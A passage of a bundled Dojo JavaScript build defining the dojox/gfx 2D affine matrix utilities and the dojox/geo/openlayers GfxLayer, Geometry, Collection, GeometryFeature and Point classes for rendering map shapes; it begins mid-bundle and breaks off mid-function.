define(["./_base","dojo/_base/lang"], 
  function(g, lang){
	var m = g.matrix = {};

	// candidates for dojox.math:
	var _degToRadCache = {};
	m._degToRad = function(degree){
		return _degToRadCache[degree] || (_degToRadCache[degree] = (Math.PI * degree / 180));
	};
	m._radToDeg = function(radian){ return radian / Math.PI * 180; };

	m.Matrix2D = function(arg){
		// summary:
		//		a 2D matrix object
		// description:
		//		Normalizes a 2D matrix-like object. If arrays is passed,
		//		all objects of the array are normalized and multiplied sequentially.
		// arg: Object
		//		a 2D matrix-like object, a number, or an array of such objects
		if(arg){
			if(typeof arg == "number"){
				this.xx = this.yy = arg;
			}else if(arg instanceof Array){
				if(arg.length > 0){
					var matrix = m.normalize(arg[0]);
					// combine matrices
					for(var i = 1; i < arg.length; ++i){
						var l = matrix, r = m.normalize(arg[i]);
						matrix = new m.Matrix2D();
						matrix.xx = l.xx * r.xx + l.xy * r.yx;
						matrix.xy = l.xx * r.xy + l.xy * r.yy;
						matrix.yx = l.yx * r.xx + l.yy * r.yx;
						matrix.yy = l.yx * r.xy + l.yy * r.yy;
						matrix.dx = l.xx * r.dx + l.xy * r.dy + l.dx;
						matrix.dy = l.yx * r.dx + l.yy * r.dy + l.dy;
					}
					lang.mixin(this, matrix);
				}
			}else{
				lang.mixin(this, arg);
			}
		}
	};

	// the default (identity) matrix, which is used to fill in missing values
	lang.extend(m.Matrix2D, {xx: 1, xy: 0, yx: 0, yy: 1, dx: 0, dy: 0});

	lang.mixin(m, {
		// summary:
		//		class constants, and methods of dojox/gfx/matrix

		// matrix constants

		// identity: dojox/gfx/matrix.Matrix2D
		//		an identity matrix constant: identity * (x, y) == (x, y)
		identity: new m.Matrix2D(),

		// flipX: dojox/gfx/matrix.Matrix2D
		//		a matrix, which reflects points at x = 0 line: flipX * (x, y) == (-x, y)
		flipX:    new m.Matrix2D({xx: -1}),

		// flipY: dojox/gfx/matrix.Matrix2D
		//		a matrix, which reflects points at y = 0 line: flipY * (x, y) == (x, -y)
		flipY:    new m.Matrix2D({yy: -1}),

		// flipXY: dojox/gfx/matrix.Matrix2D
		//		a matrix, which reflects points at the origin of coordinates: flipXY * (x, y) == (-x, -y)
		flipXY:   new m.Matrix2D({xx: -1, yy: -1}),

		// matrix creators

		translate: function(a, b){
			// summary:
			//		forms a translation matrix
			// description:
			//		The resulting matrix is used to translate (move) points by specified offsets.
			// a: Number|dojox/gfx.Point
			//		an x coordinate value, or a point-like object, which specifies offsets for both dimensions
			// b: Number?
			//		a y coordinate value
			// returns: dojox/gfx/matrix.Matrix2D
			if(arguments.length > 1){
				return new m.Matrix2D({dx: a, dy: b}); // dojox/gfx/matrix.Matrix2D
			}
			// branch
			return new m.Matrix2D({dx: a.x, dy: a.y}); // dojox/gfx/matrix.Matrix2D
		},
		scale: function(a, b){
			// summary:
			//		forms a scaling matrix
			// description:
			//		The resulting matrix is used to scale (magnify) points by specified offsets.
			// a: Number|dojox/gfx.Point
			//		a scaling factor used for the x coordinate, or
			//		a uniform scaling factor used for the both coordinates, or
			//		a point-like object, which specifies scale factors for both dimensions
			// b: Number?
			//		a scaling factor used for the y coordinate
			// returns: dojox/gfx/matrix.Matrix2D
			if(arguments.length > 1){
				return new m.Matrix2D({xx: a, yy: b}); // dojox/gfx/matrix.Matrix2D
			}
			if(typeof a == "number"){
				return new m.Matrix2D({xx: a, yy: a}); // dojox/gfx/matrix.Matrix2D
			}
			return new m.Matrix2D({xx: a.x, yy: a.y}); // dojox/gfx/matrix.Matrix2D
		},
		rotate: function(angle){
			// summary:
			//		forms a rotating matrix
			// description:
			//		The resulting matrix is used to rotate points
			//		around the origin of coordinates (0, 0) by specified angle.
			// angle: Number
			//		an angle of rotation in radians (>0 for CW)
			// returns: dojox/gfx/matrix.Matrix2D
			var c = Math.cos(angle);
			var s = Math.sin(angle);
			return new m.Matrix2D({xx: c, xy: -s, yx: s, yy: c}); // dojox/gfx/matrix.Matrix2D
		},
		rotateg: function(degree){
			// summary:
			//		forms a rotating matrix
			// description:
			//		The resulting matrix is used to rotate points
			//		around the origin of coordinates (0, 0) by specified degree.
			//		See dojox/gfx/matrix.rotate() for comparison.
			// degree: Number
			//		an angle of rotation in degrees (>0 for CW)
			// returns: dojox/gfx/matrix.Matrix2D
			return m.rotate(m._degToRad(degree)); // dojox/gfx/matrix.Matrix2D
		},
		skewX: function(angle) {
			// summary:
			//		forms an x skewing matrix
			// description:
			//		The resulting matrix is used to skew points in the x dimension
			//		around the origin of coordinates (0, 0) by specified angle.
			// angle: Number
			//		a skewing angle in radians
			// returns: dojox/gfx/matrix.Matrix2D
			return new m.Matrix2D({xy: Math.tan(angle)}); // dojox/gfx/matrix.Matrix2D
		},
		skewXg: function(degree){
			// summary:
			//		forms an x skewing matrix
			// description:
			//		The resulting matrix is used to skew points in the x dimension
			//		around the origin of coordinates (0, 0) by specified degree.
			//		See dojox/gfx/matrix.skewX() for comparison.
			// degree: Number
			//		a skewing angle in degrees
			// returns: dojox/gfx/matrix.Matrix2D
			return m.skewX(m._degToRad(degree)); // dojox/gfx/matrix.Matrix2D
		},
		skewY: function(angle){
			// summary:
			//		forms a y skewing matrix
			// description:
			//		The resulting matrix is used to skew points in the y dimension
			//		around the origin of coordinates (0, 0) by specified angle.
			// angle: Number
			//		a skewing angle in radians
			// returns: dojox/gfx/matrix.Matrix2D
			return new m.Matrix2D({yx: Math.tan(angle)}); // dojox/gfx/matrix.Matrix2D
		},
		skewYg: function(degree){
			// summary:
			//		forms a y skewing matrix
			// description:
			//		The resulting matrix is used to skew points in the y dimension
			//		around the origin of coordinates (0, 0) by specified degree.
			//		See dojox/gfx/matrix.skewY() for comparison.
			// degree: Number
			//		a skewing angle in degrees
			// returns: dojox/gfx/matrix.Matrix2D
			return m.skewY(m._degToRad(degree)); // dojox/gfx/matrix.Matrix2D
		},
		reflect: function(a, b){
			// summary:
			//		forms a reflection matrix
			// description:
			//		The resulting matrix is used to reflect points around a vector,
			//		which goes through the origin.
			// a: dojox/gfx.Point|Number
			//		a point-like object, which specifies a vector of reflection, or an X value
			// b: Number?
			//		a Y value
			// returns: dojox/gfx/matrix.Matrix2D
			if(arguments.length == 1){
				b = a.y;
				a = a.x;
			}
			// make a unit vector
			var a2 = a * a, b2 = b * b, n2 = a2 + b2, xy = 2 * a * b / n2;
			return new m.Matrix2D({xx: 2 * a2 / n2 - 1, xy: xy, yx: xy, yy: 2 * b2 / n2 - 1}); // dojox/gfx/matrix.Matrix2D
		},
		project: function(a, b){
			// summary:
			//		forms an orthogonal projection matrix
			// description:
			//		The resulting matrix is used to project points orthogonally on a vector,
			//		which goes through the origin.
			// a: dojox/gfx.Point|Number
			//		a point-like object, which specifies a vector of projection, or
			//		an x coordinate value
			// b: Number?
			//		a y coordinate value
			// returns: dojox/gfx/matrix.Matrix2D
			if(arguments.length == 1){
				b = a.y;
				a = a.x;
			}
			// make a unit vector
			var a2 = a * a, b2 = b * b, n2 = a2 + b2, xy = a * b / n2;
			return new m.Matrix2D({xx: a2 / n2, xy: xy, yx: xy, yy: b2 / n2}); // dojox/gfx/matrix.Matrix2D
		},

		// ensure matrix 2D conformance
		normalize: function(matrix){
			// summary:
			//		converts an object to a matrix, if necessary
			// description:
			//		Converts any 2D matrix-like object or an array of
			//		such objects to a valid dojox/gfx/matrix.Matrix2D object.
			// matrix: Object
			//		an object, which is converted to a matrix, if necessary
			// returns: dojox/gfx/matrix.Matrix2D
			return (matrix instanceof m.Matrix2D) ? matrix : new m.Matrix2D(matrix); // dojox/gfx/matrix.Matrix2D
		},

		// common operations

		isIdentity: function(matrix){
			// summary:
			//		returns whether the specified matrix is the identity.
			// matrix: dojox/gfx/matrix.Matrix2D
			//		a 2D matrix object to be tested
			// returns: Boolean
			return matrix.xx == 1 && matrix.xy == 0 && matrix.yx == 0 && matrix.yy == 1 && matrix.dx == 0 && matrix.dy == 0; // Boolean
		},
		clone: function(matrix){
			// summary:
			//		creates a copy of a 2D matrix
			// matrix: dojox/gfx/matrix.Matrix2D
			//		a 2D matrix-like object to be cloned
			// returns: dojox/gfx/matrix.Matrix2D
			var obj = new m.Matrix2D();
			for(var i in matrix){
				if(typeof(matrix[i]) == "number" && typeof(obj[i]) == "number" && obj[i] != matrix[i]) obj[i] = matrix[i];
			}
			return obj; // dojox/gfx/matrix.Matrix2D
		},
		invert: function(matrix){
			// summary:
			//		inverts a 2D matrix
			// matrix: dojox/gfx/matrix.Matrix2D
			//		a 2D matrix-like object to be inverted
			// returns: dojox/gfx/matrix.Matrix2D
			var M = m.normalize(matrix),
				D = M.xx * M.yy - M.xy * M.yx;
				M = new m.Matrix2D({
					xx: M.yy/D, xy: -M.xy/D,
					yx: -M.yx/D, yy: M.xx/D,
					dx: (M.xy * M.dy - M.yy * M.dx) / D,
					dy: (M.yx * M.dx - M.xx * M.dy) / D
				});
			return M; // dojox/gfx/matrix.Matrix2D
		},
		_multiplyPoint: function(matrix, x, y){
			// summary:
			//		applies a matrix to a point
			// matrix: dojox/gfx/matrix.Matrix2D
			//		a 2D matrix object to be applied
			// x: Number
			//		an x coordinate of a point
			// y: Number
			//		a y coordinate of a point
			// returns: dojox/gfx.Point
			return {x: matrix.xx * x + matrix.xy * y + matrix.dx, y: matrix.yx * x + matrix.yy * y + matrix.dy}; // dojox/gfx.Point
		},
		multiplyPoint: function(matrix, /* Number||Point */ a, /* Number? */ b){
			// summary:
			//		applies a matrix to a point
			// matrix: dojox/gfx/matrix.Matrix2D
			//		a 2D matrix object to be applied
			// a: Number|dojox/gfx.Point
			//		an x coordinate of a point, or a point
			// b: Number?
			//		a y coordinate of a point
			// returns: dojox/gfx.Point
			var M = m.normalize(matrix);
			if(typeof a == "number" && typeof b == "number"){
				return m._multiplyPoint(M, a, b); // dojox/gfx.Point
			}
			return m._multiplyPoint(M, a.x, a.y); // dojox/gfx.Point
		},
		multiplyRectangle: function(matrix, /*Rectangle*/ rect){
			// summary:
			//		Applies a matrix to a rectangle.
			// description:
			//		The method applies the transformation on all corners of the
			//		rectangle and returns the smallest rectangle enclosing the 4 transformed
			//		points.
			// matrix: dojox/gfx/matrix.Matrix2D
			//		a 2D matrix object to be applied.
			// rect: Rectangle
			//		the rectangle to transform.
			// returns: dojox/gfx.Rectangle
			var M = m.normalize(matrix);
			rect = rect || {x:0, y:0, width:0, height:0}; 
			if(m.isIdentity(M))
				return {x: rect.x, y: rect.y, width: rect.width, height: rect.height}; // dojo/gfx.Rectangle
			var p0 = m.multiplyPoint(M, rect.x, rect.y),
				p1 = m.multiplyPoint(M, rect.x, rect.y + rect.height),
				p2 = m.multiplyPoint(M, rect.x + rect.width, rect.y),
				p3 = m.multiplyPoint(M, rect.x + rect.width, rect.y + rect.height),
				minx = Math.min(p0.x, p1.x, p2.x, p3.x),
				miny = Math.min(p0.y, p1.y, p2.y, p3.y),
				maxx = Math.max(p0.x, p1.x, p2.x, p3.x),
				maxy = Math.max(p0.y, p1.y, p2.y, p3.y);
			return{ // dojo/gfx.Rectangle
				x: minx,
				y: miny,
				width: maxx - minx,
				height: maxy - miny
			};
		},
		multiply: function(matrix){
			// summary:
			//		combines matrices by multiplying them sequentially in the given order
			// matrix: dojox/gfx/matrix.Matrix2D
			//		a 2D matrix-like object,
			//		all subsequent arguments are matrix-like objects too
			var M = m.normalize(matrix);
			// combine matrices
			for(var i = 1; i < arguments.length; ++i){
				var l = M, r = m.normalize(arguments[i]);
				M = new m.Matrix2D();
				M.xx = l.xx * r.xx + l.xy * r.yx;
				M.xy = l.xx * r.xy + l.xy * r.yy;
				M.yx = l.yx * r.xx + l.yy * r.yx;
				M.yy = l.yx * r.xy + l.yy * r.yy;
				M.dx = l.xx * r.dx + l.xy * r.dy + l.dx;
				M.dy = l.yx * r.dx + l.yy * r.dy + l.dy;
			}
			return M; // dojox/gfx/matrix.Matrix2D
		},

		// high level operations

		_sandwich: function(matrix, x, y){
			// summary:
			//		applies a matrix at a central point
			// matrix: dojox/gfx/matrix.Matrix2D
			//		a 2D matrix-like object, which is applied at a central point
			// x: Number
			//		an x component of the central point
			// y: Number
			//		a y component of the central point
			return m.multiply(m.translate(x, y), matrix, m.translate(-x, -y)); // dojox/gfx/matrix.Matrix2D
		},
		scaleAt: function(a, b, c, d){
			// summary:
			//		scales a picture using a specified point as a center of scaling
			// description:
			//		Compare with dojox/gfx/matrix.scale().
			// a: Number
			//		a scaling factor used for the x coordinate, or a uniform scaling factor used for both coordinates
			// b: Number?
			//		a scaling factor used for the y coordinate
			// c: Number|Point
			//		an x component of a central point, or a central point
			// d: Number
			//		a y component of a central point
			// returns: dojox/gfx/matrix.Matrix2D
			switch(arguments.length){
				case 4:
					// a and b are scale factor components, c and d are components of a point
					return m._sandwich(m.scale(a, b), c, d); // dojox/gfx/matrix.Matrix2D
				case 3:
					if(typeof c == "number"){
						return m._sandwich(m.scale(a), b, c); // dojox/gfx/matrix.Matrix2D
					}
					return m._sandwich(m.scale(a, b), c.x, c.y); // dojox/gfx/matrix.Matrix2D
			}
			return m._sandwich(m.scale(a), b.x, b.y); // dojox/gfx/matrix.Matrix2D
		},
		rotateAt: function(angle, a, b){
			// summary:
			//		rotates a picture using a specified point as a center of rotation
			// description:
			//		Compare with dojox/gfx/matrix.rotate().
			// angle: Number
			//		an angle of rotation in radians (>0 for CW)
			// a: Number|dojox/gfx.Point
			//		an x component of a central point, or a central point
			// b: Number?
			//		a y component of a central point
			// returns: dojox/gfx/matrix.Matrix2D
			if(arguments.length > 2){
				return m._sandwich(m.rotate(angle), a, b); // dojox/gfx/matrix.Matrix2D
			}
			return m._sandwich(m.rotate(angle), a.x, a.y); // dojox/gfx/matrix.Matrix2D
		},
		rotategAt: function(degree, a, b){
			// summary:
			//		rotates a picture using a specified point as a center of rotation
			// description:
			//		Compare with dojox/gfx/matrix.rotateg().
			// degree: Number
			//		an angle of rotation in degrees (>0 for CW)
			// a: Number|dojox/gfx.Point
			//		an x component of a central point, or a central point
			// b: Number?
			//		a y component of a central point
			// returns: dojox/gfx/matrix.Matrix2D
			if(arguments.length > 2){
				return m._sandwich(m.rotateg(degree), a, b); // dojox/gfx/matrix.Matrix2D
			}
			return m._sandwich(m.rotateg(degree), a.x, a.y); // dojox/gfx/matrix.Matrix2D
		},
		skewXAt: function(angle, a, b){
			// summary:
			//		skews a picture along the x axis using a specified point as a center of skewing
			// description:
			//		Compare with dojox/gfx/matrix.skewX().
			// angle: Number
			//		a skewing angle in radians
			// a: Number|dojox/gfx.Point
			//		an x component of a central point, or a central point
			// b: Number?
			//		a y component of a central point
			// returns: dojox/gfx/matrix.Matrix2D
			if(arguments.length > 2){
				return m._sandwich(m.skewX(angle), a, b); // dojox/gfx/matrix.Matrix2D
			}
			return m._sandwich(m.skewX(angle), a.x, a.y); // dojox/gfx/matrix.Matrix2D
		},
		skewXgAt: function(degree, a, b){
			// summary:
			//		skews a picture along the x axis using a specified point as a center of skewing
			// description:
			//		Compare with dojox/gfx/matrix.skewXg().
			// degree: Number
			//		a skewing angle in degrees
			// a: Number|dojox/gfx.Point
			//		an x component of a central point, or a central point
			// b: Number?
			//		a y component of a central point
			// returns: dojox/gfx/matrix.Matrix2D
			if(arguments.length > 2){
				return m._sandwich(m.skewXg(degree), a, b); // dojox/gfx/matrix.Matrix2D
			}
			return m._sandwich(m.skewXg(degree), a.x, a.y); // dojox/gfx/matrix.Matrix2D
		},
		skewYAt: function(angle, a, b){
			// summary:
			//		skews a picture along the y axis using a specified point as a center of skewing
			// description:
			//		Compare with dojox/gfx/matrix.skewY().
			// angle: Number
			//		a skewing angle in radians
			// a: Number|dojox/gfx.Point
			//		an x component of a central point, or a central point
			// b: Number?
			//		a y component of a central point
			// returns: dojox/gfx/matrix.Matrix2D
			if(arguments.length > 2){
				return m._sandwich(m.skewY(angle), a, b); // dojox/gfx/matrix.Matrix2D
			}
			return m._sandwich(m.skewY(angle), a.x, a.y); // dojox/gfx/matrix.Matrix2D
		},
		skewYgAt: function(/* Number */ degree, /* Number||Point */ a, /* Number? */ b){
			// summary:
			//		skews a picture along the y axis using a specified point as a center of skewing
			// description:
			//		Compare with dojox/gfx/matrix.skewYg().
			// degree: Number
			//		a skewing angle in degrees
			// a: Number|dojox/gfx.Point
			//		an x component of a central point, or a central point
			// b: Number?
			//		a y component of a central point
			// returns: dojox/gfx/matrix.Matrix2D
			if(arguments.length > 2){
				return m._sandwich(m.skewYg(degree), a, b); // dojox/gfx/matrix.Matrix2D
			}
			return m._sandwich(m.skewYg(degree), a.x, a.y); // dojox/gfx/matrix.Matrix2D
		}

		//TODO: rect-to-rect mapping, scale-to-fit (isotropic and anisotropic versions)

	});
	// propagate Matrix2D up
	g.Matrix2D = m.Matrix2D;

	return m;
});



},
'dojox/geo/openlayers/GfxLayer':function(){
define([
	"dojo/_base/declare",
	"dojo/_base/connect",
	"dojo/dom-style",
	"dojox/gfx",
	"dojox/gfx/matrix",
	"./Feature",
	"./Layer"
], function(declare, connect, style, gfx, matrix, Feature, Layer){

	return declare("dojox.geo.openlayers.GfxLayer", Layer, {
		// summary:
		//		A layer dedicated to render dojox.geo.openlayers.GeometryFeature
		// description:
		//		A layer class for rendering geometries as dojox.gfx.Shape objects.
		//		This layer class accepts Features which encapsulates graphic objects to be added to the map.
		//		All objects should be added to this group.
		// tags:
		//		private
		_viewport: null,

		constructor: function(name, options){
			// summary:
			//		Constructs a new GFX layer.
			var s = gfx.createSurface(this.olLayer.div, 100, 100);
			this._surface = s;
			var vp;
			if(options && options.viewport){
				vp = options.viewport;
			}else{
				vp = s.createGroup();
			}
			this.setViewport(vp);
			connect.connect(this.olLayer, "onMapResize", this, "onMapResize");
			this.olLayer.getDataExtent = this.getDataExtent;
		},

		getViewport: function(){
			// summary:
			//		Gets the viewport
			// tags:
			//		internal
			return this._viewport;
		},

		setViewport: function(g){
			// summary:
			//		Sets the viewport
			// g: dojox.gfx.Group
			// tags:
			//		internal
			if(this._viewport){
				this._viewport.removeShape();
			}
			this._viewport = g;
			this._surface.add(g);
		},

		onMapResize: function(){
			// summary:
			//		Called when map is resized.
			// tags:
			//		protected
			this._surfaceSize();
		},

		setMap: function(map){
			// summary:
			//		Sets the map for this layer.
			// tags:
			//		protected
			this.inherited(arguments);
			this._surfaceSize();
		},

		getDataExtent: function(){
			// summary:
			//		Get data extent
			// tags:
			//		private
			var ret = this._surface.getDimensions();
			return ret;
		},

		getSurface: function(){
			// summary:
			//		Get the underlying dojox.gfx.Surface
			// returns:
			//		The dojox.gfx.Surface this layer uses to draw its GFX rendering.
			return this._surface; // dojox.gfx.Surface
		},

		_surfaceSize: function(){
			// summary:
			//		Recomputes the surface size when being resized.
			// tags:
			//		private
			var s = this.olLayer.map.getSize();
			this._surface.setDimensions(s.w, s.h);
		},

		moveTo: function(event){
			// summary:
			//		Called when this layer is moved or zoomed.
			// event:
			//		The event
			var s = style.get(this.olLayer.map.layerContainerDiv);
			var left = parseInt(s.left);
			var top = parseInt(s.top);

			if(event.zoomChanged || left || top){
				var d = this.olLayer.div;

				style.set(d, {
					left: -left + "px",
					top: -top + "px"
				});

				if(this._features == null){
					return;
				}
				var vp = this.getViewport();

				vp.setTransform(matrix.translate(left, top));

				this.inherited(arguments);

			}
		},

		added: function(){
			// summary:
			//		Called when added to a map.
			this.inherited(arguments);
			this._surfaceSize();
		}

	});
});

},
'dojox/geo/openlayers/Collection':function(){
define([
	"dojo/_base/declare",
	"./Geometry"
], function(declare, Geometry){

	return declare("dojox.geo.openlayers.Collection", Geometry, {
		// summary:
		//		A collection of geometries. 

		// coordinates: Array
		//		An array of geometries.
		coordinates:null,

		setGeometries: function(g){
			// summary:
			//		Sets the geometries
			// g: Array
			//		The array of geometries.
			this.coordinates = g;
		},

		getGeometries: function(){
			// summary:
			//		Returns the geometries.
			// returns:
			//		The array of geometries defining this collection.
			return this.coordinates; // Array
		}
	});
});

},
'dojox/geo/openlayers/Geometry':function(){
define([
	"dojo/_base/declare"
], function(declare){

	return declare("dojox.geo.openlayers.Geometry", null, {
		// summary:
		//		A Geometry handles description of shapes to be rendered in a GfxLayer
		//		using a GeometryFeature feature.
		//		A Geometry can be:
		//
		//		- A point geometry of type dojox.geo.openlayers.Point. Coordinates are a an 
		//		Object {x, y}
		//		- A line string geometry of type dojox.geo.openlayers.LineString. Coordinates are
		//		an array of {x, y} objects
		//		- A collection geometry of type dojox.geo.openlayers.Collection. Coordinates are an array of geometries.

		// coordinates: Object|Array
		//		The coordinates of the geometry, Object like {x, y} or Array.
		coordinates : null,

		// shape: [private] dojox/gfx/shape.Shape
		//		The associated shape when rendered
		shape: null,

		constructor: function(coords){
			// summary:
			//		Constructs a new geometry
			// coords: Object
			//		Coordinates of the geometry. {x:``x``, y:``y``} object for a point geometry, array of {x:``x``, y:``y``}
			//		objects for line string geometry, array of geometries for collection geometry.
			this.coordinates = coords;
		}
	});
});

},
'dojox/geo/openlayers/GeometryFeature':function(){
define([
	"dojo/_base/declare",
	"dojo/_base/array",
	"dojo/_base/lang",
	"dojox/gfx/matrix",
	"./Point",
	"./LineString",
	"./Collection",
	"./Feature"
], function(declare, array, lang, matrix, Point, LineString, Collection, Feature){

	return declare("dojox.geo.openlayers.GeometryFeature", Feature, {
		// summary:
		//		A Feature encapsulating a geometry.
		// description:
		//		This Feature renders a geometry such as a Point or LineString geometry. This Feature
		//		is responsible for reprojecting the geometry before creating a gfx shape to display it.
		//		By default the shape created is a circle for a Point geometry and a polyline for a 
		//		LineString geometry. User can change these behavior by overriding the createShape 
		//		method to create the desired shape.
		// example:
		//	|  var geom = new dojox.geo.openlayers.Point({x:0, y:0});
		//	|  var gf = new dojox.geo.openlayers.GeometryFeature(geom);

		constructor: function(geometry){
			// summary:
			//		Constructs a GeometryFeature for the specified geometry.
			// geometry: dojox/geo/openlayers/Geometry
			//		The geometry to render.
			this._geometry = geometry;
			this._shapeProperties = {};
			this._fill = null;
			this._stroke = null;
		},

		_createCollection: function(/* dojox/geo/openlayers/Geometry */g){
			// summary:
			//		Create collection shape and add it to the viewport.
			// tags:
			//		private
			var layer = this.getLayer();
			var s = layer.getSurface();
			var c = this.createShape(s, g);
			var vp = layer.getViewport();
			vp.add(c);
			return c;
		},

		_getCollectionShape: function(/* dojox/geo/openlayers/Geometry */g){
			// summary:
			//		Get the collection shape, create it if necessary
			// tags:
			//		private
			var s = g.shape;
			if(s == null){
				s = this._createCollection(g);
				g.shape = s;
			}
			return s;
		},

		renderCollection: function(g){
			// summary:
			//		Renders a geometry collection.
			// g: dojox.geo.openlayers.Geometry?
			//		The geometry to render.
			if(g == undefined){
				g = this._geometry;
			}

			s = this._getCollectionShape(g);
			var prop = this.getShapeProperties();
			s.setShape(prop);

			array.forEach(g.coordinates, function(item){
				if(item instanceof Point){
					this.renderPoint(item);
				}else if(item instanceof LineString){
					this.renderLineString(item);
				}else if(item instanceof Collection){
					this.renderCollection(item);
				}else{
					throw new Error();
				}
			}, this);
			this._applyStyle(g);
		},

		render: function(g){
			// summary:
			//		Render a geometry. 
			//		Called by the Layer on which the feature is added. 
			// g: dojox/geo/openlayer/Geometry?
			//		The geometry to draw
			if(g == undefined){
				g = this._geometry;
			}

			if(g instanceof Point){
				this.renderPoint(g);
			}else if(g instanceof LineString){
				this.renderLineString(g);
			}else if(g instanceof Collection){
				this.renderCollection(g);
			}else{
				throw new Error();
			}
		},

		getShapeProperties: function(){
			// summary:
			//		Returns the shape properties. 
			// returns: Object
			//		The shape properties.
			return this._shapeProperties;
		},

		setShapeProperties: function(s){
			// summary:
			//		Sets the shape properties. 
			// s: Object
			//		The shape properties to set.
			this._shapeProperties = s;
			return this;
		},

		createShape: function(s, g){
			// summary:
			//		Called when the shape rendering the geometry has to be created.
			//		This default implementation creates a circle for a point geometry, a polyline for
			//		a LineString geometry and is recursively called when creating a collection.
			//		User may replace this method to produce a custom shape.
			// s: dojox/gfx/Surface
			//		The surface on which the method create the shapes.
			// g: dojox/geo/openlayers/Geometry?
			//		The reference geometry 
			// returns:
			//		The resulting shape.
			if(!g){
				g = this._geometry;
			}

			var shape = null;
			if(g instanceof Point){
				shape = s.createCircle();
			}else if(g instanceof LineString){
				shape = s.createPolyline();
			}else if(g instanceof Collection){
				var grp = s.createGroup();
				array.forEach(g.coordinates, function(item){
					var shp = this.createShape(s, item);
					grp.add(shp);
				}, this);
				shape = grp;
			}else{
				throw new Error();
			}
			return shape;
		},

		getShape: function(){
			// summary:
			//		Returns the shape rendering the geometry
			// returns:
			//		The shape used to render the geometry.
			var g = this._geometry;
			if(!g){
				return null;
			}
			if(g.shape){
				return g.shape;
			}
			this.render();
			return g.shape; // dojox.gfx.shape.Shape
		},

		_createPoint: function(/* dojox/geo/openlayer/Geometry */g){
			// summary:
			//		Create a point shape
			// tags:
			//		private
			var layer = this.getLayer();
			var s = layer.getSurface();
			var c = this.createShape(s, g);
			var vp = layer.getViewport();
			vp.add(c);
			return c;
		},

		_getPointShape: function(/* dojox/geo/openlayers/Geometry */g){
			// summary:
			//		get the point geometry shape, create it if necessary
			// tags:
			//		private
			var s = g.shape;
			if(s == null){
				s = this._createPoint(g);
				g.shape = s;
			}
			return s;
		},

		renderPoint: function(g){
			// summary:
			//		Renders a point geometry.
			// g: dojox/geo/openlayers/Point?
			//		The geometry to render, or the current instance geometry if not specified.
			if(g == undefined){
				g = this._geometry;
			}
			var layer = this.getLayer();
			var map = layer.getDojoMap();

			s = this._getPointShape(g);
			var prop = lang.mixin({}, this._defaults.pointShape);
			prop = lang.mixin(prop, this.getShapeProperties());
			s.setShape(prop);

			var from = this.getCoordinateSystem();
			var p = map.transform(g.coordinates, from);

			var a = this._getLocalXY(p);
			var cx = a[0];
			var cy = a[1];
			var tr = layer.getViewport().getTransform();
			if(tr){
				s.setTransform(matrix.translate(cx - tr.dx, cy - tr.dy));
			}
			this._applyStyle(g);
		},

		_createLineString: function(/* dojox/geo/openlayers/Geometry */g){
			// summary:
			//		Create polyline shape and add it to the viewport.
			// tags:
			//		private
			var layer = this.getLayer();
			var s = layer._surface;
			var shape = this.createShape(s, g);
			var vp = layer.getViewport();
			vp.add(shape);
			g.shape = shape;
			return shape;
		},

		_getLineStringShape: function(/* dojox/geo/openlayers/Geometry */g){
			// summary:
			//		Get the line string geometry shape, create it if necessary
			// tags:
			//		private
			var s = g.shape;
			if(s == null){
				s = this._createLineString(g);
				g.shape = s;
			}
			return s;
		},

		renderLineString: function(g){
			// summary:
			//		Renders a line string geometry.
			// g: dojox/geo/openlayers/Geometry?
			//		The geometry to render.
			if(g == undefined){
				g = this._geometry;
			}
			var layer = this.getLayer();
			var map = layer.getDojoMap();
			var lss = this._getLineStringShape(g);
			var from = this.getCoordinateSystem();
			var points = new Array(g.coordinates.length); // ss.getShape().points;		
			var tr = layer.getViewport().getTransform();
			array.forEach(g.coordinates, function(c, i, array){
				var p = map.transform(c, from);
				var a = this._getLocalXY(p);
				if(tr){
					a[0] -= tr.dx;
					a[1] -= tr.dy;
				}
				points[i] = {
					x: a[0],
					y: a[1]
				};
			}, this);
			var prop = lang.mixin({}, this._defaults.lineStringShape);
			prop = lang.mixin(prop, this.getShapeProperties());
			prop = lang.mixin(prop, {
				points: points
			});
			lss.setShape(prop);
			this._applyStyle(g);
		},

		_applyStyle: function(g){
			// summary:
			//		Apply the style on the geometry's shape.
			// g: Geometry
			//		The geometry.
			// tags:
			//		private
			if(!g || !g.shape){
				return;
			}

			var f = this.getFill();

			var fill;
			if(!f || lang.isString(f) || lang.isArray(f)){
				fill = f;
			}else{
				fill = lang.mixin({}, this._defaults.fill);
				fill = lang.mixin(fill, f);
			}

			var s = this.getStroke();
			var stroke;
			if(!s || lang.isString(s) || lang.isArray(s)){
				stroke = s;
			}else{
				stroke = lang.mixin({}, this._defaults.stroke);
				stroke = lang.mixin(stroke, s);
			}

			this._applyRecusiveStyle(g, stroke, fill);
		},

		_applyRecusiveStyle: function(g, stroke, fill){
			// summary:
			//		Apply the style on the geometry's shape recursively.
			// g: dojox.geo.openlayers.Geometry
			//		The geometry.
			// stroke: Object
			//		The stroke
			// fill:Object
			//		The fill
			// tags:
			//		private
			var shp = g.shape;

			if(shp.setFill){
				shp.setFill(fill);
			}

			if(shp.setStroke){
				shp.setStroke(stroke);
			}

			if(g instanceof Collection){
				array.forEach(g.coordinates, function(i){
					this._applyRecusiveStyle(i, stroke, fill);
				}, this);
			}
		},

		setStroke: function(s){
			// summary:
			//		Set the stroke style to be applied on the rendered shape.
			// s: Object
			//		The stroke style
			this._stroke = s;
			return this;
		},

		getStroke: function(){
			// summary:
			//		Returns the stroke style
			// returns:
			//		The stroke style
			return this._stroke;
		},

		setFill: function(f){
			// summary:
			//		Set the fill style to be applied on the rendered shape.
			// f: Object
			//		The fill style
			this._fill = f;
			return this;
		},

		getFill: function(){
			// summary:
			//		Returns the fill style
			// returns:
			//		The fill style
			return this._fill;
		},

		remove: function(){
			// summary:
			//		Removes the shape from the Surface. 
			//		Called when the feature is removed from the layer.
			var g = this._geometry;
			var shp = g.shape;
			g.shape = null;
			if(shp){
				shp.removeShape();
			}
			if(g instanceof Collection){
				array.forEach(g.coordinates, function(i){
					this.remove(i);
				}, this);
			}
		},

		_defaults: {
			fill: null,
			stroke: null,
			pointShape: {
				r: 30
			},
			lineStringShape: null
		}

	});
});

},
'dojox/geo/openlayers/Point':function(){
define([
	"dojo/_base/declare",
	"./Geometry"
], function(declare, Geometry){

	return declare("dojox.geo.openlayers.Point", Geometry, {
		// summary:
		//		A Point geometry handles description of points to be rendered in a GfxLayer

		setPoint: function(p){
			// summary:
			//		Sets the point for this geometry.
			// p: Object
			//		The point geometry expressed as a {x, y} object.
			this.coordinates = p;
		},

		getPoint: function(){
			// summary:
			//		Gets the point defining this geometry.
